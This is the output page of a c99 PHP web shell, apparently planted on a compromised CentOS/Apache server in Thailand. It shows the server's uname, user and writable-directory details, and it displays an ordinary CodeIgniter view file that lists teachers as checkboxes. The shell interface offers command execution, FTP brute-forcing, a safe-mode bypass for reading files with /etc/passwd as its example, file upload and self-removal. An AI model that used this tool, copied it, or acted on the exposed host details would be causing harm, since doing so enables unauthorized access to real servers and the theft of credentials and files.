!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_checkboxPrs.php (2.38 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" ></script>
<script language="JavaScript">
function ReturnValue()
{
    var choice = "";
    var inp = "";
    $('#prsbox', window.opener.document).val("");
    $("input[type=checkbox]:checked").each(function(index) {
        choice += "- "+$("#text"+this.value).text()+"\n"; 
        inp +="<input type=\"hidden\" name=\"prs[]\" value=\""+this.value+"\">";
    });
    $('#prsbox', window.opener.document).val(choice);
    $('#prsset', window.opener.document).html(inp);
    window.opener.checkSubmit();
    window.close();
}
    $(document).ready(function(){
        //get_option();

        $("button[name='selectall']").click(function () {
                $('[type=checkbox]').attr('checked', true);
        });
        $("button[name='cancel']").click(function () {
                $('[type=checkbox]').attr('checked', false);
        });
    });
</script>
<table class="headCol">
    <tr>
        <th class="stdCodeCol">เลือก</th>
        <th colspan='2'>ชื่ออาจารย์</th>
    </tr>
<?php
    
if($qu->num_rows() > 0){
        
$i=0;
        foreach(
$qu->result() as $row){
           echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
        <!-- <tr> -->
            <td align='center'><?php
            
echo form_checkbox('prsId'$row->prsId);
            
?></td>
            <td colspan='2'><div id="text<?=$row->prsId;?>"><?php
            
echo $row->name;
            
?></div></td>
        </tr>
<?php
            $i
++;
        }
?>
        <tr bgcolor="<?php echo $tr_color_even;?>">
            <td colspan='2' align='left'><?php
            
echo form_button('selectall''เลือกทั้งหมด').nbs(1);
            echo 
form_button('cancel''ยกเลิกทั้งหมด');
            
?></td>
            <td align='right' ><font size="2">
            <?php
            
echo 'รวม '.$qu->num_rows().' รายการ'.nbs(2);
            
?></font></td>
        </tr>
        <tr bgcolor="#ffffff">
            <td colspan='3' align='center'><input type="submit" value="บันทึก" name="submit" onClick="ReturnValue();"></td>
        </tr>
<?php
    
}else{
?>
    <tr bgcolor="#ffffff">
        <td colspan='3' align="center">ไม่พบอาจารย์ผู้สอน</th>
    </tr>
<?php
    
}
?>

</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--